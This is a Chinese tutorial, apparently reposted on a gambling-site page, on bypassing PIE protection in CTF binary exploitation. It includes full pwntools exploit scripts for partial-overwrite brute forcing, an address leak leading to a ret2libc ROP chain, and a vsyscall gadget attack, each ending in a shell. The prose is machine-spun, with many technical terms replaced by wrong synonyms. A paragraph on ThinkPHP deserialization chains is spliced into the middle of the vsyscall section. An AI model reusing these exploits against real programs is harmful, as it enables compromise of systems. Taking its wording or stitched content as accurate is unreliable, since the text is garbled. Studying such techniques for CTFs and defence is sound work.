欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_安全防护正文

PIE庇护详解和经常使用bypass手段

b9e08c31ae1faa592019-12-15113二进制安全安全技术

什么是PIE呢? PIE全称是position-independent executable,中文诠释为地点无关可实行文件,该手艺是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等牢固地点的一个防护手艺,假如顺序开启了PIE庇护的话,在每次加载顺序时都变更加载地点,从而不能经由历程ROPgadget等一些东西来协助解题 下面经由历程一个例子来详细看一下PIE的效果 顺序源码

#include <stdio.h>
int main()
{
    printf("%s","hello world!");
    return 0;
}
编译敕令
gcc -fno-stack-protector -no-pie -s test.c -o test      #不开启PIE庇护
不开启PIE庇护的时刻每次运转时加载地点稳定 PIE庇护详解和经常使用bypass手段  二进制安全 安全技术 第1张 开启PIE庇护的时刻每次运转时加载地点是随机变化的 PIE庇护详解和经常使用bypass手段  二进制安全 安全技术 第2张 可以看出,假如一个顺序开启了PIE庇护的话,关于ROP形成很大影响,下面来解说一下绕过PIE开启的要领

一、partial write

partial write就是应用了PIE手艺的缺点。我们晓得,内存是以页载入机制,假如开启PIE庇护的话,只能影响到单个内存页,一个内存页大小为0x1000,那末就意味着不论地点怎样变,某一条指令的后三位十六进制数的地点是始终稳定的。因而我们可以经由历程掩盖地点的后几位来可以掌握顺序的流程
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void houmen()
{
    system("/bin/sh");
}
void vuln()
{
    char a[20];
    read(0,a,0x100);
    puts(a);
}
int main(int argc, char const *argv[])
{
    vuln();
    return 0;
}
# gcc -m32 -fno-stack-protector  -s test.c -o test
显著的栈溢出,经由历程gdb调试,直接来到vuln函数的ret处,可以看到houmen函数的地点和返回地点只要后几位不一样,那末我们掩盖地点的后4位即可 由于地点的后3位一样,所以掩盖的话最少须要4位,那末倒数第四位就须要爆破,爆破范围在0到0xf

exp:

#coding:utf-8
import random
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

offset = 0x1c+4
list1 = ["\x05","\x15","\x25","\x35","\x45","\x55","\x65","\x75","\x85","\x95","\xa5","\xb5","\xc5","\xd5","\xe5","\xf5"]

while True:
    try:
        p = process("./test")
        payload = offset*"a"+"\x7d"+random.sample(list1,1)[0]
        p.send(payload)
        p.recv()
        p.recv()
    except Exception as e:
        p.close()
        print e
可以很快的获得爆破的效果 PIE庇护详解和经常使用bypass手段  二进制安全 安全技术 第3张

二、泄漏地点

开启PIE庇护的话影响的是顺序加载的基地点,不会影响指令间的相对地点,因而我们假如可以泄漏出顺序或许libc的某些地点,我们就可以应用偏移来组织ROP 以国赛your_pwn作为例子,该顺序庇护全开,破绽点在sub_B35函数,index索引没有掌握大小,所以致使恣意地点读和恣意地点写。 泄漏libc地点和泄漏顺序基地点的要领是在main函数栈帧中有一个__libc_start_main+231和push r15,可以经由历程泄漏这两个地点计算出libc基地点和顺序加载基地点 PIE庇护详解和经常使用bypass手段  二进制安全 安全技术 第4张

exp:(须要用到LibcSearcher)

#coding:utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
r = process("./pwn")

__libc_start_main_231_offset = 0x150+296

r.recvuntil("name:")
r.sendline("radish")
__libc_start_main_231_addr = ""

# leak __libc_start_main_231_addr
for x in range(8):
    r.recvuntil("input index\n")
    r.sendline(str(__libc_start_main_231_offset+x))
    r.recvuntil("(hex) ")
    data = r.recvuntil("\n",drop=True)
    if len(data)>2:
        data = data[-2:]
    elif len(data)==1:
        data = "0"+data
    __libc_start_main_231_addr = data+__libc_start_main_231_addr
    r.recvuntil("input new value")
    r.sendline("0")
log.info("__libc_start_main_231_addr ->> "+__libc_start_main_231_addr)
__libc_start_main_231_addr = eval("0x"+__libc_start_main_231_addr)


push_r15_offset = 0x150+288
push_r15_addr = ""
for x in range(8):
    r.recvuntil("input index\n")
    r.sendline(str(push_r15_offset+x))
    r.recvuntil("(hex) ")
    data = r.recvuntil("\n",drop=True)
    if len(data)>2:
        data = data[-2:]
    elif len(data)==1:
        data = "0"+data
    push_r15_addr = data+push_r15_addr
    r.recvuntil("input new value\n")
    r.sendline("0")
log.info("push_r15_addr ->> "+push_r15_addr)
push_r15_addr = eval("0x"+push_r15_addr)

main_addr = push_r15_addr - 0x23b

# cover ret_addr
offset = 0x150+8
main_addr = p64(main_addr).encode("hex")
print main_addr
num = 0
for x in range(8):
    r.recvuntil("input index\n")
    r.sendline(str(offset+x))
    r.recvuntil("input new value\n")
    r.sendline(str(eval("0x"+main_addr[num:num+2])))
    print str(eval("0x"+main_addr[num:num+2]))
    num = num + 2

log.info("------------------- success cover! -------------------")
for x in range(41-24):
    r.recvuntil("input index\n")
    r.sendline("0")
    r.recvuntil("input new value\n")
    r.sendline("0")

r.recv()
r.sendline("yes")
r.recv()

log.info("------------------- ret main success ---------------")

pop_rdi_addr =  99+push_r15_addr

__libc_start_main_addr = __libc_start_main_231_addr-231
# libc = LibcSearcher("__libc_start_main",__libc_start_main_addr)
libc = ELF("./libc.so.6")
base_addr = __libc_start_main_addr-libc.symbols["__libc_start_main"]
print hex(base_addr)
system_addr = libc.symbols['system']+base_addr
bin_sh_addr = 0x000000000017d3f3+base_addr
log.info("system_addr: "+hex(system_addr))
log.info("bin_sh_addr: "+hex(bin_sh_addr))

payload = (p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)).encode("hex")
print payload

r.sendline("radish")

num = 0
for x in range(0,24):
    r.recvuntil("input index\n")
    r.sendline(str(offset+x))
    r.recvuntil("input new value\n")
    r.sendline(str(eval("0x"+payload[num:num+2])))
    print str(eval("0x"+payload[num:num+2]))
    num = num + 2

log.info("------------------- cover payload success ---------------")
for x in range(41-24):
    r.recvuntil("input index\n")
    r.sendline("0")
    r.recvuntil("input new value\n")
    r.sendline("0")
r.recv()
#gdb.attach(r)
r.sendline("yes")
sleep(0.2)
r.interactive()

三、vdso/vsyscall

vsyscall是什么呢?
TP6.0反序列化利用链挖掘思路总结 最近CTF中TP反序列化考的比较频繁,从前段时间的N1CTF到最近的安洵杯都利用了ThinkPHP反序列化,疯狂填坑,审计挖掘了下TP5、TP6反序列化中的利用链,本篇主要总结下TP6利用链的挖掘思路。小白文章,大佬们请略过。。。 TP5反序列化入口都是在Windows类的析构方法,通过file_exists()函数触发__toString 魔术方法,然后以__toString为中间跳板寻找代码执行点,造成反序列化任意命令执行。有关TP5的分析可以看挖掘暗藏thinkphp中的反序列利用链这篇文章,感觉分析的思路比较好,本篇分析TP6,也是按照文中的思路来的。 TP6的不同之处就是没有了Windows类,也就无法利用其中的析构方法作为反序列化入口,需要重新挖掘其他入口点。 基础知识 1.PHP反序列化 序列化:将php值转换为可存储或传输的字符串,目的是防止丢失其结构和数据类
经由历程查阅材料得知,vsyscall是第一种也是最陈旧的一种用于加速体系挪用的机制,事情道理非常简朴,许多硬件上的操纵都会被包装成内核函数,然后供应一个接口,供用户层代码挪用,这个接口就是我们经常运用的int 0x80和syscall+挪用号。 当经由历程这个接口来挪用时,由于须要进入到内核去处置惩罚,因而为了保证数据的完整性,须要在进入内核之前把寄存器的状况保留好,然后进入到内核状况运转内核函数,当内核函数实行完的时刻会将返回效果放到响应的寄存器和内存中,然后再对寄存器举行恢复,转换到用户层形式。 这一历程须要斲丧肯定的机能,关于某些经常被挪用的体系函数来讲,肯定会形成很大的内存糟蹋,因而,体系把几个经常运用的内核挪用从内核中映射到用户层空间中,从而引入了vsyscall 经由历程敕令“cat /proc/self/maps| grep vsyscall”检察,发明vsyscall地点是稳定的 PIE庇护详解和经常使用bypass手段  二进制安全 安全技术 第5张 运用gdb把vsyscall从内存中dump下来,拖到IDA中剖析 PIE庇护详解和经常使用bypass手段  二进制安全 安全技术 第6张 可以看到内里有三个体系挪用,依据对应表得出这三个体系挪用分别是__NR_gettimeofday、__NRtime、_NR_getcpu
#define __NR_gettimeofday 96
#define __NR_time 201
#define __NR_getcpu 309
这三个都是体系挪用,而且也都是经由历程syscall来完成的,这就意味着我们有了一个可控的syscall 拿一道CTF真题来做为例子(1000levels): 顺序详细破绽这里不再过量的诠释,只写涉及到应用vsyscall的步骤 当我们直接挪用vsyscall中的syscall时,会提醒段毛病,这是由于vsyscall实行时会举行检查,假如不是从函数开头实行的话就会失足 PIE庇护详解和经常使用bypass手段  二进制安全 安全技术 第7张 所以,我们可以直接应用的地点是0xffffffffff600000、0xffffffffff600400、 0xffffffffff600800 顺序开启了PIE,没法从该顺序中直接跳转到main函数或许其他地点,因而可以运用vsyscall来充任gadget,运用它的缘由也是由于它在内存中的地点是稳定的

exp:

from pwn import * 

io =process('1000levels', env={'LD_PRELOAD':'./libc.so.6'})

libc_base = -0x456a0                    #减去system函数离libc开头的偏移
one_gadget_base = 0x45526           #加上one gadget rce离libc开头的偏移
vsyscall_gettimeofday = 0xffffffffff600000
def answer():
    io.recvuntil('Question: ') 
    answer = eval(io.recvuntil(' = ')[:-3])
    io.recvuntil('Answer:')
    io.sendline(str(answer))
io.recvuntil('Choice:')
io.sendline('2')
io.recvuntil('Choice:')
io.sendline('1')    
io.recvuntil('How many levels?')
io.sendline('-1')
io.recvuntil('Any more?')

io.sendline(str(libc_base+one_gadget_base))
for i in range(999):
    log.info(i)
    answer()

io.recvuntil('Question: ')

io.send('a'*0x38 + p64(vsyscall_gettimeofday)*3) 
io.interactive()
vdso优点是个中的指令可以恣意实行,不须要从进口入手下手,害处是它的地点是随机化的,假如要应用它,就须要爆破它的地点,在64位下须要爆破的位数许多,但是在32位下须要爆破的字节数就很少。

参考文献:

hitb2017 - 1000levels [Study]

网友评论